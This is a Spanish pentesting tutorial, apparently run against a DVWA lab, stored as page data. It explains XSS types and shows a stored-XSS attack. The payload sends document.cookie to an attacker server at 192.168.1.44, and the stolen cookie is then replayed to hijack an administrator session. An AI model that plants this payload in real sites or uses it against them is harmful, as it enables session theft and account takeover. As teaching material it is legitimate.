[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fZ4tgSxGUPqzkBe4DwYfcs_Bnn7qc1X3MVSenwrPa10g":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":80},"xss-capturando-cookies-de-sesion","XSS: Capturando Cookies de Sesión","Una de las vulnerabilidades más presentes a nivel mundial en los aplicativos web es el Cross Site Scripting (XSS), esta vulnerabilidad permite inyectar código JavaScript dentro de un determinado input o campo del aplicativo web. La vulnerabilidad se produce porque el desarrollador del sitio web no “escapo” los caracteres especiales dentro de los campos o inputs del sitio web.",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--69a996bd13cbe27b80fe4ed87a52653456f0e8a1\u002Fshutterstock_1120129778.jpg","2016-10-11T23:14:39-03:00","2026-10-26T16:58:48-03:00","\u003Cp>Una de las vulnerabilidades más presentes a nivel mundial en los aplicativos web es el Cross Site Scripting (XSS), esta vulnerabilidad permite inyectar código JavaScript dentro de un determinado input o campo del aplicativo web. La vulnerabilidad se produce porque el desarrollador del sitio web no “escapo” los caracteres especiales dentro de los campos o inputs del sitio web.\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Ch4>¿Cuál es el peligro de dicha vulnerabilidad?\u003C\u002Fh4>\r\n\u003Cp>El peligro principal de esta vulnerabilidad es que a través de ella, es posible realizar actos maliciosos como por ejemplo:\u003C\u002Fp>\r\n\u003Cul>\r\n\u003Cli>\r\n\u003Cp>Robar cookies de sesión y de esta manera capturar la sesión de un usuario\u003C\u002Fp>\r\n\u003C\u002Fli>\r\n\u003Cli>\r\n\u003Cp>Modificar el sitio web\u003C\u002Fp>\r\n\u003C\u002Fli>\r\n\u003Cli>\r\n\u003Cp>Redireccionar a otro sitio web\u003C\u002Fp>\r\n\u003C\u002Fli>\r\n\u003Cli>\r\n\u003Cp>Infectar a la victima dejando su equipo en modo zombie para una Botnet\u003C\u002Fp>\r\n\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Existen 3 tipos de ataques XSS, los cuales son los siguientes:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch4>XSS Reflejado\u003C\u002Fh4>\r\n\u003Cp>Se trata de un ataque que no se ejecuta en conjunto con la aplicación web, por ejemplo cuando una página en un sitio se carga, esto significa que el contexto de este ataque solamente llega hasta la petición desarrollada por un cliente, normalmente estos ataques suelen asociarse con el robo de cookies, secuestro de sesiones, acceder a historial de la víctima e inclusive acceder a contraseñas almacenadas en el navegador utilizado.\u003C\u002Fp>\r\n\u003Cp>Este tipo de ataque al igual que prácticamente todas las técnicas asociadas con XSS, se encuentran directamente relacionadas con validaciones de los parámetros de entrada que espera una aplicación web. Filtros y validaciones de los datos que un usuario puede ingresar a una aplicación son frecuentemente la razón principal para que se produzcan esta clase de brechas de seguridad.\u003C\u002Fp>\r\n\u003Ch4> \u003C\u002Fh4>\r\n\u003Ch4>XSS Almacenado o Persistente\u003C\u002Fh4>\r\n\u003Cp>Se trata de una variación del ataque anteriormente mencionado, sin embargo es el más peligroso, (y obviamente el más deseado por un atacante) dado que el contexto de este ataque no se limita solamente al contexto del navegador web de un usuario, sino que por el contrario puede afectar directamente a todos los usuarios que acceden a la aplicación, por esta razón es una de las vulnerabilidades mas peligrosas. Funciona de un modo similar al anterior, con la diferencia que en este caso, la vulnerabilidad se encuentra almacenada de forma persistente en la aplicación, ejemplos típicos de este tipo de ataques son foros o sitios donde se pueden incluir comentarios, así como otros tipos de entradas que permite al usuario ingresar texto y estás a su vez, permiten la inclusión de código HTML o JavaScript.\u003C\u002Fp>\r\n\u003Ch4> \u003C\u002Fh4>\r\n\u003Ch4>XSS basado en DOM\u003C\u002Fh4>\r\n\u003Cp>Este tipo de ataque se basa en los dos anteriores, la diferencia radica en que se aprovecha la API DOM que tienen los navegadores web para acceder a determinados objetos del navegador, como por ejemplo, funciones  en JavaScript. De esta forma es posible manipular eventos, navegación y otras características que se ejecutan en el lado del cliente. Así que en este punto es importante anotar que el atacante debe tener buenos conocimientos sobre JavaScript y DOM Api.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En esta oportunidad nos enfocaremos en el ataque XSS Almacenado. Tenemos el siguiente escenario de pruebas:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FRva9e5z9tD0NoTMFwFCHiyQriHocAvpM8nNLB-zZQ7D_tAHWHlxYo7eTytLLhzQQHupWgBdIdK0Vb3FAWYahwvU3TrRqjR6ZrPfE1jsXZsTB18u1GcWAXF-CESk8oAU6vB6j4Jli54iyxU3uBQ\" width=\"589\" height=\"278\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Sesión de Usuario con privilegios básicos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Aquí tenemos una sesión con el usuario gordonb, el cual es un usuario básico, sin privilegios administrativos. En dicho sitio web existe un recurso donde el usuario puede hacer comentarios y\u002Fo sugerencias, dicho recurso es el siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F-059RbBZ8SSO6Mn338s--74fIa7jk3tro3u2QYcRpqxg8IXTBZv6X5xagHZvNcdHia_BnHoVv3UBbM9QS6yI-hyAPB2mr1QwD8a_l3rXimBwBxYQyrG-YlSNz2BahGmTCbDNiFX6MkgiESlfnQ\" width=\"589\" height=\"289\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Recurso donde se hacen comentarios \u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Para verificar si el sitio web es vulnerable a un XSS Almacenado, se agregará al campo un vector de ataque de tipo XSS, el vector básico de ataque es \u003Cem>&lt;script&gt;alert('Hacked by Samux')&lt;\u002Fscript&gt;\u003C\u002Fem>. Al agregar este vector en el campo se logró visualizar lo siguiente:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FHbqonhepmT0Wpao4vPp-4rMyl8GZnn4skhvdCO_tkCpOOk2Q-FF5BOx_V2D_IszHEd0YnsC9rttyLcGoNTSbYaFHfDmHYlW8J1aB79DXg_opVecHRgLtfI_upjRNphvK86ZOO3wzQXZXnCC0lw\" width=\"589\" height=\"279\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>XSS Almacenado Presente\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En este recurso fue posible inyectar código JavaScript, por lo tanto lo siguiente será generar un vector de ataque el cual permitirá robar una cookie de sesión de cualquier usuario que ingrese a este recurso. Para generar este vector de ataque será necesario tener un servidor, o un VPS, o abrir puertos en mi router, el cual servirá para recibir todas las cookies de sesión (Esto es necesario solo si se realiza el ataque de manera real). A continuación tenemos el siguiente vector de ataque:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>&lt;script&gt;img = new Image(); img.src = \"http:\u002F\u002F192.168.1.44\u002Fa.php?\"+document.cookie;&lt;\u002Fscript&gt;\u003C\u002Fpre>\r\n\u003Cp>La dirección IP 192.168.1.44 es nuestro servidor el cual se mantendrá a la escucha para recibir todas las cookies de sesión. Si revisamos nuestro servidor tenemos lo siguiente:\u003C\u002Fp>\r\n\u003Cp>\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F6VGO-wopWOzzMR7m38TzjVn6dc1IGL60zq7_A0_UQ2yJLBJo61mJiStgWNBN6NsW_mj3zLfRIIidIYYDFtjhV1-AXAL7KId_FdAfFOlSmK3Uw5YKIZmtZhw6buuom5fS7Nl78TClA5iJO4oTsQ\" width=\"589\" height=\"294\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Servidor atacante (192.168.1.44) a la escucha en el puerto 80\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Luego al agregar este vector de ataque en la parte de comentarios del recurso del sitio web, nos aparecerá lo siguiente en nuestro servidor atacante:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002Fwatc0zkFWJQUuvJ267QhVIcIcrgGYxfm7it4HM6XyraRTmGFu-2CGFpwY0fzLbSY_ci2uPINwWmkXixr37b1mvI3GDAmLqRIvlLs9F8DGV-I8I9mFQXwyD8qUocDsCWtG9lrDR6Bc5alF7PFlQ\" width=\"589\" height=\"191\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Cookie de Sesión de usuario atacante\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Efectivamente nos aparece una cookie capturada, sin embargo esta cookie es la de la cuenta con la que se inyecto este vector de ataque, por ende solo restaría esperar que un usuario distinto ingrese a este recurso y automáticamente se obtendrá la cookie de sesión. Luego de esperar un cierto tiempo, nos percatamos que alguien ingresó al recurso del sitio web.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002F3anoXDXOjHmweNgQe9nujf8fpZmBYD-yi7WlHjhcGNV76CCXBffD1mjlSJoJlkjdkkV9CkY728a7FoEqJmOt7b68rf3rQIicI2Ak7CRersN5O7cuXzN6OeLtdcNvAVAxKzha6hnoKkamyleJrA\" width=\"589\" height=\"167\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Cookie de Sesión de la Víctima\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Finalmente con el plugin de Firefox, Tamper Data agregaremos la Cookie obtenida para generar una sesión válida.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FVrbCXA8PjTCZwFKnK3yxzK-4BXESBzQM7ttKsdsvGl5MFRigC9L0j0hHCmHzYOC72LBINJMwvgJ47Kj0TamUE_fSzV99gU4OldRETOTPyQUubgc2jQ7vlXTDrzZ6XmPZlvYZza5tNRGh99Qq2w\" width=\"589\" height=\"274\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Tamper Data\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Con el Tamper Data activado vamos al recurso \u003Ca href=\"http:\u002F\u002F172.16.45.165\u002Fdvwa\u002F\">http:\u002F\u002F172.16.45.165\u002Fdvwa\u002F\u003C\u002Fa> y modificamos la cookie por la que se tiene capturada.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FKGFbCOOiNdxxAX3vf_-Nx3r_0ltF2h6wBuOIH5yvsVbZ_IdggRsqLcHas-ImzXAhZjZIcFHUZ_DpDXrGKfAGrG3Rj5JUuN4x995Ghz8LnIVwKO3N6weBw8OO2w0H5K6omefm1mqbVfEfz8fVTQ\" width=\"589\" height=\"255\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Agregando Cookie de Sesión con Tamper Data\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Finalmente logramos iniciar una sesión válida y nos percatamos que el usuario vulnerado fue el usuario administrador.\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FNDnmVqJbJcrQRKRGLKIoc1-3AsXL9yxv5SwSwc1_tqFpc1Enw62GRFTzCJDfEMTz1REB2ylFNQmyuwdwtx-ZsB4Gdg3y2UmODHB4vII1w1YPjHLCr3cDEDWiCrSXt_6ybmcPya8nxNeCoGWxzw\" width=\"589\" height=\"291\">\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>Ataque finalizado con éxito\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>","xss, JavaScript, vulnerabilidad",5,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"api-keys-de-ia-como-protegerlas-tras-el-caso-opencode","API keys de IA: cómo protegerlas tras el caso OpenCode","Una API key expuesta puede permitir que terceros utilicen servicios de inteligencia artificial a tu nombre, generen consumos inesperados o accedan a recursos autorizados. El caso de OpenCode Console muestra por qué es importante proteger estas credenciales.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"pmcguirec","Paola Mc Guire Cancino","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdmtTIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--466caa3f018fd4504828ead39839900bd5de701d\u002F23415942.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdmdTIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--419c6de29a773e9e70f6f8f9230c2adb568555aa\u002FEspacio%20cyberpunk%20de%20claves%20y%20seguridad%20(1).png","2026-10-29T19:54:51-03:00","2026-10-29T19:54:52-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"timer":78,"updated_at":79},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2018-08-29T01:01:00-03:00","2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":81,"level":82,"courses_count":83,"total_duration_seconds":84,"is_free":77,"image_url":85,"icon_url":86,"wallpaper_url":87,"updated_at":88},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]